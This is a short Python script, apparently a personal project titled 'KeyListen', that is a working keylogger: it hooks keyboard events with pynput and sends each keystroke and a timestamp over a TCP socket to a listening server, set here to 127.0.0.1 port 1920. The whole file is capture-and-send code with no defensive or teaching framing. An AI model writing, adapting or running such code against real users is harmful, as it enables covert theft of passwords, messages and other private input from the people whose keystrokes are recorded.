# _*_ coding : utf-8 _*_
# @Time : 2022/9/17 15:55
# @Author : Moonquake
# @File : KeyListen
# @Project : base.py
import socket
from pynput import keyboard
import time

client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = '127.0.0.1'
port = 1920
client.connect((host,port))
# 监听键盘事件
def on_press(key):
    if key == keyboard.Key.esc:
        # STOP listener
        client.send(("STOP").encode())
    else:
        client.send(("\nEvent:" + f'{key}').encode())
        client.send(("\nTime:" + time.strftime("%Y %H:%M:%S", time.localtime())).encode())
        client.send("\n-----".encode())

with keyboard.Listener(on_press)as lsn:
    lsn.join()